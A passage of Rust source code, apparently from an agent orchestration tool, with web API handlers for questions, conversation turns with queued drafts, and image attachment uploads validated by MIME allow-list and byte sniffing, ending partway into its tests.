4590 let id = resolve_question(&ui.questions, &id)?;
4591 let q = ui
4592 .questions
4593 .get(&id)
4594 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
4595 if !q.status.open() {
4596 return Err(ApiError::conflict(format!(
4600 "question {} is already {}",
4601 q.short(),
4602 q.status.as_str()
4603 )));
4604 }
4605 let (q, ()) = ui
4609 .questions
4610 .update(&q.id, |r| r.answer(answer))
4611 .map_err(ApiError::bad_request_from)?;
4612 let on = deputies_enabled(&ui.repo, &q);
4613 Ok(Json(QuestionView::of(q, &ui.questions, on)))
4614 })
4615 .await
4616}
4617
4618#[derive(Debug, Deserialize)]
4620#[serde(deny_unknown_fields)]
4621struct NewSay {
4622 body: String,
4623}
4624
4625async fn question_say(
4635 State(ui): State<Arc<Ui>>,
4636 Path(id): Path<String>,
4637 body: std::result::Result<Json<NewSay>, JsonRejection>,
4638) -> ApiResult<Json<QuestionView>> {
4639 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4640 blocking(move || {
4641 let id = resolve_question(&ui.questions, &id)?;
4642 let q = ui
4643 .questions
4644 .get(&id)
4645 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
4646 if !q.status.open() {
4647 return Err(ApiError::conflict(format!(
4651 "question {} is already {}",
4652 q.short(),
4653 q.status.as_str()
4654 )));
4655 }
4656 let (q, ()) = ui
4659 .questions
4660 .update(&q.id, |r| r.say(body.body))
4661 .map_err(ApiError::bad_request_from)?;
4662 let on = deputies_enabled(&ui.repo, &q);
4663 Ok(Json(QuestionView::of(q, &ui.questions, on)))
4664 })
4665 .await
4666}
4667
4668fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
4670 if store.path_of(id).is_file() {
4671 return Ok(id.to_owned());
4672 }
4673 pick(
4674 store.list().into_iter().map(|q| q.id).collect(),
4675 id,
4676 "question",
4677 )
4678}
4679
4680async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
4695 blocking(move || {
4696 let id = resolve_question(&ui.questions, &id)?;
4697 let Some(html) = ui.questions.panel_html(&id) else {
4698 return Err(ApiError::not_found(format!("question {id} has no panel")));
4699 };
4700 Ok(panel_response(
4701 "text/html; charset=utf-8",
4702 false,
4703 html.into_bytes(),
4704 ))
4705 })
4706 .await
4707}
4708
4709async fn question_asset(
4737 State(ui): State<Arc<Ui>>,
4738 Path((id, name)): Path<(String, String)>,
4739) -> ApiResult<Response> {
4740 if !crate::ask::valid_asset_name(&name) {
4743 return Err(ApiError::bad_request(format!(
4744 "`{name}` is not a usable asset name"
4745 )));
4746 }
4747 blocking(move || {
4748 let id = resolve_question(&ui.questions, &id)?;
4749 let asset = ui
4750 .questions
4751 .panel_asset(&id, &name)
4752 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4753 let Some(bytes) = asset else {
4754 return Err(ApiError::not_found(format!(
4755 "question {id} has no asset `{name}`"
4756 )));
4757 };
4758 Ok(panel_response(
4759 asset_content_type(&name),
4760 is_svg(&name),
4761 bytes,
4762 ))
4763 })
4764 .await
4765}
4766
4767fn asset_content_type(name: &str) -> &'static str {
4780 match extension(name).as_deref() {
4781 Some("png") => "image/png",
4782 Some("jpg" | "jpeg") => "image/jpeg",
4783 Some("gif") => "image/gif",
4784 Some("webp") => "image/webp",
4785 Some("svg") => "image/svg+xml",
4786 Some("css") => "text/css; charset=utf-8",
4787 Some("txt") => "text/plain; charset=utf-8",
4788 _ => "application/octet-stream",
4789 }
4790}
4791
4792fn is_svg(name: &str) -> bool {
4795 extension(name).as_deref() == Some("svg")
4796}
4797
4798fn extension(name: &str) -> Option<String> {
4800 name.rsplit_once('.')
4801 .map(|(_, ext)| ext.to_ascii_lowercase())
4802}
4803
4804fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
4821 let mut res = (
4822 [
4823 (header::CONTENT_TYPE, content_type),
4824 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
4825 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4826 (header::REFERRER_POLICY, "no-referrer"),
4827 ],
4828 body,
4829 )
4830 .into_response();
4831 if download {
4832 res.headers_mut().insert(
4833 header::CONTENT_DISPOSITION,
4834 HeaderValue::from_static("attachment"),
4835 );
4836 }
4837 res
4838}
4839
4840#[derive(Debug, Serialize)]
4846struct TalkView {
4847 #[serde(flatten)]
4848 talk: Talk,
4849 turn_bodies_md: Vec<Vec<md::Node>>,
4850 thinking: bool,
4858 context: talk::ContextUsage,
4862}
4863
4864impl TalkView {
4865 fn new(talk: Talk, thinking: bool) -> Self {
4868 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
4869 Self::with_config(talk, thinking, cfg.as_ref())
4870 }
4871
4872 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
4875 let context = talk::context_usage(&talk, cfg);
4876 let turn_bodies_md = talk
4877 .turns
4878 .iter()
4879 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
4880 .collect();
4881 Self {
4882 turn_bodies_md,
4883 thinking,
4884 context,
4885 talk,
4886 }
4887 }
4888}
4889
4890#[derive(Debug, Serialize)]
4895struct TalkDetailView {
4896 #[serde(flatten)]
4897 view: TalkView,
4898 tasks: Vec<TaskView>,
4899 roster: Vec<RosterEntry>,
4902}
4903
4904#[derive(Debug, Serialize)]
4906struct RosterEntry {
4907 id: String,
4908 kind: AgentKind,
4909 runnable: bool,
4911}
4912
4913async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
4918 blocking(move || {
4919 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
4920 Ok(Json(
4921 ui.talks
4922 .list()
4923 .into_iter()
4924 .map(|talk| {
4925 let thinking = ui.is_thinking(&talk.id);
4926 let cfg = configs
4927 .entry(talk.repo.clone())
4928 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
4929 TalkView::with_config(talk, thinking, cfg.as_ref())
4930 })
4931 .collect(),
4932 ))
4933 })
4934 .await
4935}
4936
4937#[derive(Debug, Default, Deserialize)]
4942#[serde(default)]
4943struct NewTalk {
4944 agent: Option<String>,
4945 repo: Option<PathBuf>,
4946}
4947
4948async fn talk_post(
4951 State(ui): State<Arc<Ui>>,
4952 body: std::result::Result<Json<NewTalk>, JsonRejection>,
4953) -> ApiResult<impl IntoResponse> {
4954 let body = match body {
4958 Ok(Json(body)) => body,
4959 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
4960 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4961 };
4962 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
4963 let cfg = config_for(&repo).await?;
4964 let view = blocking(move || {
4965 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
4966 let thinking = ui.is_thinking(&talk.id);
4967 Ok(TalkView::new(talk, thinking))
4968 })
4969 .await?;
4970 Ok((StatusCode::CREATED, Json(view)))
4971}
4972
4973async fn talk_detail(
4975 State(ui): State<Arc<Ui>>,
4976 Path(id): Path<String>,
4977) -> ApiResult<Json<TalkDetailView>> {
4978 blocking(move || {
4979 let id = resolve_talk(&ui.talks, &id)?;
4980 let talk = ui.talks.get(&id)?;
4981 let thinking = ui.is_thinking(&talk.id);
4982 let tasks = talk::tasks_of(&ui.queue, &talk.id)
4983 .into_iter()
4984 .map(TaskView::from)
4985 .collect();
4986 let roster = Config::discover(&talk.repo, None)
4987 .map(|(cfg, _)| {
4988 cfg.agents
4989 .iter()
4990 .map(|a| RosterEntry {
4991 id: a.id.clone(),
4992 kind: a.kind,
4993 runnable: agent::installed(a),
4994 })
4995 .collect()
4996 })
4997 .unwrap_or_default();
4998 Ok(Json(TalkDetailView {
4999 view: TalkView::new(talk, thinking),
5000 tasks,
5001 roster,
5002 }))
5003 })
5004 .await
5005}
5006
5007#[derive(Debug, Default, Deserialize)]
5013#[serde(default, deny_unknown_fields)]
5014struct NewTalkTurn {
5015 text: String,
5016 attachments: Vec<String>,
5017}
5018
5019#[derive(Debug, Deserialize)]
5020#[serde(deny_unknown_fields)]
5021struct EditTalkPending {
5022 text: String,
5023 expected_text: String,
5024 expected_attachments: Vec<String>,
5025}
5026
5027#[derive(Debug, Deserialize)]
5028#[serde(deny_unknown_fields)]
5029struct ClearTalkPending {
5030 expected_text: String,
5031 expected_attachments: Vec<String>,
5032}
5033
5034async fn talk_say(
5046 State(ui): State<Arc<Ui>>,
5047 Path(id): Path<String>,
5048 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
5049) -> ApiResult<(StatusCode, Json<TalkView>)> {
5050 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5051 if body.text.trim().is_empty() && body.attachments.is_empty() {
5052 return Err(ApiError::bad_request("say something"));
5053 }
5054
5055 let id = {
5056 let ui = Arc::clone(&ui);
5057 let asked = id.clone();
5058 blocking(move || resolve_talk(&ui.talks, &asked)).await?
5059 };
5060 {
5064 let ui = Arc::clone(&ui);
5065 let id = id.clone();
5066 blocking(move || {
5067 let talk = ui.talks.get(&id)?;
5068 if !talk.status.open() {
5069 return Err(ApiError::conflict(format!(
5070 "talk {} is {} and takes no more turns",
5071 talk.short(),
5072 talk.status.as_str()
5073 )));
5074 }
5075 Ok(())
5076 })
5077 .await?;
5078 }
5079
5080 let attachments = {
5085 let ui = Arc::clone(&ui);
5086 let id = id.clone();
5087 let ids = body.attachments.clone();
5088 blocking(move || {
5089 ids.into_iter()
5090 .map(|att_id| {
5091 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
5092 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
5093 })
5094 })
5095 .collect::<ApiResult<Vec<talk::Attachment>>>()
5096 })
5097 .await?
5098 };
5099
5100 let start = {
5105 let ui = Arc::clone(&ui);
5106 let id = id.clone();
5107 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
5108 };
5109 let turn_guard = match start {
5110 TalkTurnStart::Claimed(turn_guard) => turn_guard,
5111 TalkTurnStart::Pending => {
5112 return Err(ApiError::conflict(
5113 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
5114 ));
5115 }
5116 TalkTurnStart::Busy => {
5117 let (tx, rx) = tokio::sync::oneshot::channel();
5133 tokio::spawn({
5134 let ui = Arc::clone(&ui);
5135 let id = id.clone();
5136 let said = body.text.clone();
5137 async move {
5138 let written = blocking({
5139 let ui = Arc::clone(&ui);
5140 let id = id.clone();
5141 move || {
5142 let mut talk = ui.talks.get(&id)?;
5143 #[cfg(test)]
5148 if let Some(gate) = ui
5149 .busy_queue_gate
5150 .lock()
5151 .unwrap_or_else(PoisonError::into_inner)
5152 .take()
5153 {
5154 let _ = gate.reached.send(());
5155 let _ = gate.release.recv();
5156 }
5157 if let Err(error) =
5158 talk::queue(&mut talk, &ui.talks, &said, attachments)
5159 {
5160 if let Ok(fresh) = ui.talks.get(&id) {
5161 if !fresh.status.open() {
5162 return Err(ApiError::conflict(format!(
5163 "talk {} is {} and takes no more turns",
5164 fresh.short(),
5165 fresh.status.as_str()
5166 )));
5167 }
5168 }
5169 return Err(ApiError::from(error));
5170 }
5171 let claim = match ui.begin_queued_talk_turn(&id)? {
5182 Some(turn_guard) => {
5183 let (cfg, _) = Config::discover(&talk.repo, None)?;
5184 Some((talk.clone(), cfg, turn_guard))
5185 }
5186 None => None,
5187 };
5188 let thinking = ui.is_thinking(&id);
5189 Ok((TalkView::new(talk, thinking), claim))
5190 }
5191 })
5192 .await;
5193 let (view, reclaimed) = match written {
5194 Ok(pair) => pair,
5195 Err(e) => {
5196 let _ = tx.send(Err(e));
5201 return;
5202 }
5203 };
5204 let _ = tx.send(Ok(view));
5207 if let Some((talk, cfg, turn_guard)) = reclaimed {
5208 let talks = ui.talks.clone();
5209 drain_loop(talk, talks, cfg, id, turn_guard).await;
5210 }
5211 }
5212 });
5213 let view = rx
5214 .await
5215 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5216 return Ok((StatusCode::ACCEPTED, Json(view)));
5217 }
5218 };
5219
5220 let (talk, cfg) = {
5221 let ui = Arc::clone(&ui);
5222 let id = id.clone();
5223 blocking(move || {
5224 let talk = ui.talks.get(&id)?;
5225 let (cfg, _) = Config::discover(&talk.repo, None)?;
5226 Ok((talk, cfg))
5227 })
5228 .await?
5229 };
5230
5231 let talks = ui.talks.clone();
5232 let (tx, rx) = tokio::sync::oneshot::channel();
5247 tokio::spawn({
5248 let ui = Arc::clone(&ui);
5249 let talks = talks.clone();
5250 let id = id.clone();
5251 let said = body.text.clone();
5252 let mut talk = talk.clone();
5253 async move {
5254 let recorded = blocking({
5255 let talks = talks.clone();
5256 move || {
5257 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
5258 if let Ok(fresh) = talks.get(&talk.id) {
5259 if !fresh.status.open() {
5260 return Err(ApiError::conflict(format!(
5261 "talk {} is {} and takes no more turns",
5262 fresh.short(),
5263 fresh.status.as_str()
5264 )));
5265 }
5266 }
5267 return Err(ApiError::from(error));
5268 }
5269 Ok((said.trim().to_owned(), talk))
5275 }
5276 })
5277 .await;
5278 let (text, mut talk) = match recorded {
5279 Ok(pair) => pair,
5280 Err(e) => {
5281 let _ = tx.send(Err(e));
5285 return;
5286 }
5287 };
5288 let queued = talk.clone();
5289 let thinking = ui.is_thinking(&id);
5290 let _ = tx.send(Ok((queued, thinking)));
5293
5294 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
5295 tracing::warn!("talk {id} turn failed: {e:#}");
5299 }
5300 drain_loop(talk, talks, cfg, id, turn_guard).await;
5303 }
5304 });
5305
5306 let (queued, thinking) = rx
5307 .await
5308 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5309
5310 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
5312}
5313
5314async fn talk_pending_resume(
5318 State(ui): State<Arc<Ui>>,
5319 Path(id): Path<String>,
5320) -> ApiResult<(StatusCode, Json<TalkView>)> {
5321 let id = {
5322 let ui = Arc::clone(&ui);
5323 let asked = id.clone();
5324 blocking(move || resolve_talk(&ui.talks, &asked)).await?
5325 };
5326 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
5327 return Err(ApiError::conflict(
5328 "a talk turn is already running; the queued draft will be handled by it",
5329 ));
5330 };
5331 let (talk, cfg) = {
5332 let ui = Arc::clone(&ui);
5333 let id = id.clone();
5334 blocking(move || {
5335 let talk = ui.talks.get(&id)?;
5336 if !talk.status.open() {
5337 return Err(ApiError::conflict(format!(
5338 "talk {} is {} and takes no more turns",
5339 talk.short(),
5340 talk.status.as_str()
5341 )));
5342 }
5343 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
5344 return Err(ApiError::conflict("there is no queued draft to resume"));
5345 }
5346 let (cfg, _) = Config::discover(&talk.repo, None)?;
5347 Ok((talk, cfg))
5348 })
5349 .await?
5350 };
5351 let view = TalkView::new(talk.clone(), true);
5352 let talks = ui.talks.clone();
5353 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5354 Ok((StatusCode::ACCEPTED, Json(view)))
5355}
5356
5357async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
5373 let live_set = Arc::clone(&turn.turns);
5374 let mut turn = Some(turn);
5382 loop {
5383 let observed = live_set
5387 .lock()
5388 .unwrap_or_else(PoisonError::into_inner)
5389 .queued
5390 .get(&id)
5391 .copied()
5392 .unwrap_or(0);
5393 let drained = blocking({
5394 let talks = talks.clone();
5395 move || {
5396 let result = talk::drain(&mut talk, &talks);
5397 Ok((talk, result))
5398 }
5399 })
5400 .await;
5401 let (next_talk, result) = match drained {
5402 Ok(drained) => drained,
5403 Err(e) => {
5404 tracing::warn!(
5405 status = %e.status,
5406 message = %e.message,
5407 "talk {id} could not start queued-text drain"
5408 );
5409 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5410 turn.take()
5411 .expect("held for the whole loop until released here")
5412 .release(&mut live);
5413 break;
5414 }
5415 };
5416 talk = next_talk;
5417 let drained = match result {
5418 Ok(Some(drained)) => drained,
5419 Ok(None) => {
5420 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5421 if live.queued.get(&id).copied().unwrap_or(0) != observed {
5422 continue;
5423 }
5424 turn.take()
5425 .expect("held for the whole loop until released here")
5426 .release(&mut live);
5427 break;
5428 }
5429 Err(e) => {
5430 tracing::warn!("talk {id} could not drain queued text: {e:#}");
5431 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5432 turn.take()
5433 .expect("held for the whole loop until released here")
5434 .release(&mut live);
5435 break;
5436 }
5437 };
5438 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
5439 tracing::warn!("talk {id} turn failed: {e:#}");
5440 }
5441 }
5442}
5443
5444async fn talk_pending_clear(
5446 State(ui): State<Arc<Ui>>,
5447 Path(id): Path<String>,
5448 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
5449) -> ApiResult<Json<TalkView>> {
5450 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5451 blocking(move || {
5452 let id = resolve_talk(&ui.talks, &id)?;
5453 let mut talk = ui.talks.get(&id)?;
5454 if !talk.status.open() {
5455 return Err(ApiError::conflict(format!(
5456 "talk {} is {} and takes no more turns",
5457 talk.short(),
5458 talk.status.as_str()
5459 )));
5460 }
5461 if !talk::clear_pending_if_matches(
5462 &mut talk,
5463 &ui.talks,
5464 &body.expected_text,
5465 &body.expected_attachments,
5466 )? {
5467 return Err(ApiError::conflict(
5468 "queued message changed; reload it before clearing",
5469 ));
5470 }
5471 let thinking = ui.is_thinking(&talk.id);
5472 Ok(Json(TalkView::new(talk, thinking)))
5473 })
5474 .await
5475}
5476
5477async fn talk_pending_edit(
5481 State(ui): State<Arc<Ui>>,
5482 Path(id): Path<String>,
5483 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
5484) -> ApiResult<Json<TalkView>> {
5485 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5486 let (view, reclaimed) = blocking({
5487 let ui = Arc::clone(&ui);
5488 move || {
5489 let id = resolve_talk(&ui.talks, &id)?;
5490 let mut talk = ui.talks.get(&id)?;
5491 if !talk.status.open() {
5492 return Err(ApiError::conflict(format!(
5493 "talk {} is {} and takes no more turns",
5494 talk.short(),
5495 talk.status.as_str()
5496 )));
5497 }
5498 if !talk::edit_pending_text(
5499 &mut talk,
5500 &ui.talks,
5501 &body.text,
5502 &body.expected_text,
5503 &body.expected_attachments,
5504 )? {
5505 return Err(ApiError::conflict(
5506 "queued message changed; reload it before editing",
5507 ));
5508 }
5509 let claim = match ui.begin_queued_talk_turn(&id)? {
5510 Some(turn_guard) => {
5511 let (cfg, _) = Config::discover(&talk.repo, None)?;
5512 Some((talk.clone(), cfg, id.clone(), turn_guard))
5513 }
5514 None => None,
5515 };
5516 let thinking = ui.is_thinking(&id);
5517 Ok((TalkView::new(talk, thinking), claim))
5518 }
5519 })
5520 .await?;
5521 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
5522 let talks = ui.talks.clone();
5523 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5524 }
5525 Ok(Json(view))
5526}
5527
5528#[derive(Debug, Deserialize)]
5530struct TalkAgent {
5531 agent: String,
5532}
5533
5534async fn talk_agent(
5539 State(ui): State<Arc<Ui>>,
5540 Path(id): Path<String>,
5541 Json(body): Json<TalkAgent>,
5542) -> ApiResult<Json<TalkView>> {
5543 let id = {
5544 let ui = Arc::clone(&ui);
5545 blocking(move || resolve_talk(&ui.talks, &id)).await?
5546 };
5547 let repo = {
5548 let ui = Arc::clone(&ui);
5549 let id = id.clone();
5550 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
5551 };
5552 let cfg = config_for(&repo).await?;
5553 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
5554 return Err(ApiError::conflict(
5555 "a talk turn is running; change the agent once it has answered",
5556 ));
5557 };
5558 let switched = {
5559 let ui = Arc::clone(&ui);
5560 let id = id.clone();
5561 let cfg = cfg.clone();
5562 blocking(move || {
5563 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
5564 .map_err(ApiError::bad_request_from)?;
5565 let mut talk = ui.talks.get(&id)?;
5566 if !talk.status.open() {
5567 return Err(ApiError::conflict(format!(
5568 "talk {} is {} and takes no more turns",
5569 talk.short(),
5570 talk.status.as_str()
5571 )));
5572 }
5573 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
5574 Ok(talk)
5575 })
5576 .await
5577 };
5578 let fresh = {
5583 let ui = Arc::clone(&ui);
5584 let id = id.clone();
5585 blocking(move || Ok(ui.talks.get(&id)?)).await
5586 };
5587 let draining = match fresh {
5588 Ok(talk) => {
5589 let draining = talk.status.open()
5590 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
5591 let talks = ui.talks.clone();
5592 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5593 draining
5594 }
5595 Err(_) => false,
5596 };
5597 let talk = switched?;
5598 Ok(Json(TalkView::new(talk, draining)))
5599}
5600
5601async fn talk_close(
5603 State(ui): State<Arc<Ui>>,
5604 Path(id): Path<String>,
5605) -> ApiResult<Json<TalkView>> {
5606 blocking(move || {
5607 let id = resolve_talk(&ui.talks, &id)?;
5608 let mut talk = ui.talks.get(&id)?;
5609 talk::close(&mut talk, &ui.talks)?;
5610 let thinking = ui.is_thinking(&talk.id);
5611 Ok(Json(TalkView::new(talk, thinking)))
5612 })
5613 .await
5614}
5615
5616async fn talk_reopen(
5618 State(ui): State<Arc<Ui>>,
5619 Path(id): Path<String>,
5620) -> ApiResult<Json<TalkView>> {
5621 blocking(move || {
5622 let id = resolve_talk(&ui.talks, &id)?;
5623 let mut talk = ui.talks.get(&id)?;
5624 talk::reopen(&mut talk, &ui.talks)?;
5625 let thinking = ui.is_thinking(&talk.id);
5626 Ok(Json(TalkView::new(talk, thinking)))
5627 })
5628 .await
5629}
5630
5631async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5641 blocking(move || {
5642 let id = resolve_talk(&ui.talks, &id)?;
5643 ui.talks.remove(&id)?;
5644 Ok(StatusCode::NO_CONTENT)
5645 })
5646 .await
5647}
5648
5649fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
5651 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
5652}
5653
5654async fn talk_attachment_post(
5657 State(ui): State<Arc<Ui>>,
5658 Path(id): Path<String>,
5659 headers: HeaderMap,
5660 body: Bytes,
5661) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
5662 let mime = validate_attachment(&headers, &body)?;
5663 let name = filename_header(&headers);
5664 let data = body.to_vec();
5665 blocking(move || {
5666 let id = resolve_talk(&ui.talks, &id)?;
5667 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
5668 Ok((StatusCode::CREATED, Json(att)))
5669 })
5670 .await
5671}
5672
5673async fn talk_attachment_get(
5676 State(ui): State<Arc<Ui>>,
5677 Path((id, att)): Path<(String, String)>,
5678) -> ApiResult<Response> {
5679 blocking(move || {
5680 let id = resolve_talk(&ui.talks, &id)?;
5681 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
5682 return Err(ApiError::not_found(format!(
5683 "talk {id} has no attachment `{att}`"
5684 )));
5685 };
5686 Ok(attachment_response(&meta.mime, data))
5687 })
5688 .await
5689}
5690
5691fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
5702 if data.len() > ATTACHMENT_MAX_BYTES {
5703 return Err(ApiError::bad_request(format!(
5704 "attachment is {} bytes, over the {} MiB limit",
5705 data.len(),
5706 ATTACHMENT_MAX_BYTES / (1024 * 1024)
5707 ))
5708 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
5709 }
5710 if data.is_empty() {
5711 return Err(ApiError::bad_request("attachment is empty"));
5712 }
5713 let declared = declared_mime(headers)?;
5714 match sniffed_mime(data) {
5715 Some(sniffed) if sniffed == declared => Ok(declared),
5716 Some(sniffed) => Err(ApiError::bad_request(format!(
5717 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
5718 ))),
5719 None => Err(ApiError::bad_request(
5720 "the file's bytes do not match any accepted image format",
5721 )),
5722 }
5723}
5724
5725fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
5729 let raw = headers
5730 .get(header::CONTENT_TYPE)
5731 .and_then(|v| v.to_str().ok())
5732 .unwrap_or("")
5733 .split(';')
5734 .next()
5735 .unwrap_or("")
5736 .trim()
5737 .to_ascii_lowercase();
5738 ATTACHMENT_MIME_WHITELIST
5739 .iter()
5740 .find(|&&m| m == raw)
5741 .copied()
5742 .ok_or_else(|| {
5743 if raw == "image/svg+xml" {
5744 ApiError::bad_request(
5745 "SVG is not accepted: it can carry active content (e.g. a <script>), \
5746 not just a picture",
5747 )
5748 } else if raw.is_empty() {
5749 ApiError::bad_request("Content-Type is required for an attachment upload")
5750 } else {
5751 ApiError::bad_request(format!(
5752 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
5753 image/gif or image/webp"
5754 ))
5755 }
5756 })
5757}
5758
5759fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
5762 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
5763 Some("image/png")
5764 } else if data.starts_with(b"\xff\xd8\xff") {
5765 Some("image/jpeg")
5766 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
5767 Some("image/gif")
5768 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
5769 Some("image/webp")
5770 } else {
5771 None
5772 }
5773}
5774
5775fn filename_header(headers: &HeaderMap) -> String {
5781 headers
5782 .get(FILENAME_HEADER)
5783 .and_then(|v| v.to_str().ok())
5784 .map(str::trim)
5785 .filter(|s| !s.is_empty())
5786 .unwrap_or("attachment")
5787 .to_owned()
5788}
5789
5790fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
5797 let content_type = ATTACHMENT_MIME_WHITELIST
5798 .iter()
5799 .find(|&&m| m == mime)
5800 .copied()
5801 .unwrap_or("application/octet-stream");
5802 (
5803 [
5804 (header::CONTENT_TYPE, content_type),
5805 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5806 ],
5807 body,
5808 )
5809 .into_response()
5810}
5811
5812async fn config_for(repo: &FsPath) -> ApiResult<Config> {
5820 let repo = repo.to_path_buf();
5821 blocking(move || {
5822 let (cfg, _) = Config::discover(&repo, None)?;
5823 Ok(cfg)
5824 })
5825 .await
5826}
5827
5828fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
5834 let mut hits = ids
5835 .into_iter()
5836 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
5837 match (hits.next(), hits.next()) {
5838 (Some(one), None) => Ok(one),
5839 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
5840 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
5841 "`{prefix}` matches more than one {what}, including {a} and {b}"
5842 ))),
5843 }
5844}
5845
5846#[cfg(test)]
5847mod tests {
5848
5849 #[test]
5850 fn holder_reads_the_lease_not_the_record() {
5851 let mut q = Question::new(
5852 "run".to_owned(),
5853 "implement".to_owned(),
5854 "impl-A".to_owned(),
5855 "which?".to_owned(),
5856 String::new(),
5857 Vec::new(),
5858 );
5859 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
5860 q.cwd = Some("/tmp".to_owned());
5861 assert_eq!(holder_of(&q, None), Some("nobody"));
5862 let beat = |kind, ago: i64| ask::Lease {
5863 kind,
5864 pid: 1,
5865 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
5866 .unwrap(),
5867 };
5868 let fresh = beat(ask::WaiterKind::Asker, 1);
5869 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
5870 let daemon = beat(ask::WaiterKind::Daemon, 1);
5871 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
5872 let stale = beat(ask::WaiterKind::Asker, 3600);
5873 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
5874
5875 let mut c = Question::new(
5878 "task".to_owned(),
5879 crate::conduct::NODE.to_owned(),
5880 "conduct".to_owned(),
5881 "which?".to_owned(),
5882 String::new(),
5883 Vec::new(),
5884 );
5885 assert_eq!(holder_of(&c, None), Some("nobody"));
5886 c.cwd = Some("/tmp".to_owned());
5887 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
5888 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
5889 let deputy = beat(ask::WaiterKind::Deputy, 1);
5890 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
5891 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
5892 }
5893
5894 #[test]
5895 fn deputies_enabled_follows_the_config() {
5896 let on = Config {
5899 agents: vec![crate::config::AgentSpec {
5900 id: "stub".to_owned(),
5901 kind: AgentKind::Command,
5902 model: None,
5903 command: vec!["true".to_owned()],
5904 extra_args: Vec::new(),
5905 env: Default::default(),
5906 prompt_delivery: None,
5907 }],
5908 ..Config::default()
5909 };
5910 assert!(crate::deputy::can_start(Some(&on), ""));
5911 assert!(crate::deputy::can_start(Some(&on), "stub"));
5912 let mut off = on.clone();
5913 off.daemon.max_deputies = 0;
5914 assert!(!crate::deputy::can_start(Some(&off), ""));
5915 let mut empty = on;
5916 empty.agents.clear();
